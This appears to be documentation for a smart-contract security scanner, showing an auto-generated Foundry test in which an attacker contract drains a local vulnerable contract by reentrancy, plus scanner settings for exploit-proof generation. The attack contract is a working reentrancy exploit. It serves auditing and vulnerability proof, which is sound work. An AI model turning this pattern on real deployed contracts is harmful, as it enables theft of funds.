Blockchain Analysis

1// Auto-generated exploit proof for reentrancy vulnerability
2// SPDX-License-Identifier: MIT
3pragma solidity ^0.8.0;
4
5import "forge-std/Test.sol";
6import "../src/VulnerableContract.sol";
7
8contract ReentrancyExploitTest is Test {
9    VulnerableContract target;
10    AttackContract attacker;
11
12    function setUp() public {
13        target = new VulnerableContract();
14        attacker = new AttackContract(address(target));
15
16        // Fund the vulnerable contract
17        vm.deal(address(target), 10 ether);
18    }
19
20    function testReentrancyExploit() public {
21        // Fund attacker
22        vm.deal(address(attacker), 1 ether);
23
24        uint256 targetBalanceBefore = address(target).balance;
25        uint256 attackerBalanceBefore = address(attacker).balance;
26
27        // Execute attack
28        attacker.attack{value: 1 ether}();
29
30        // Verify drain
31        assertGt(address(attacker).balance, attackerBalanceBefore);
32        assertLt(address(target).balance, targetBalanceBefore);
33
34        console.log("Drained:", targetBalanceBefore - address(target).balance);
35    }
36}
37
38contract AttackContract {
39    VulnerableContract target;
40    uint256 attackCount;
41
42    constructor(address _target) {
43        target = VulnerableContract(_target);
44    }
45
46    function attack() external payable {
47        target.deposit{value: msg.value}();
48        target.withdraw(msg.value);
49    }
50
51    receive() external payable {
52        if (address(target).balance >= 1 ether && attackCount < 10) {
53            attackCount++;
54            target.withdraw(1 ether);
55        }
56    }
57}

1{
2  "agnech.blockchain.enabled": true,
3  "agnech.blockchain.chains": ["ethereum", "polygon", "bsc"],
4  "agnech.blockchain.generateExploitProofs": true,
5  "agnech.blockchain.defiProtocols": {
6    "detectFlashLoans": true,
7    "detectPriceOracles": true,
8    "checkERC20Compliance": true
9  },
10  "agnech.blockchain.severity": {
11    "reentrancy": "critical",
12    "accessControl": "critical",
13    "oracleManipulation": "high"
14  }
15}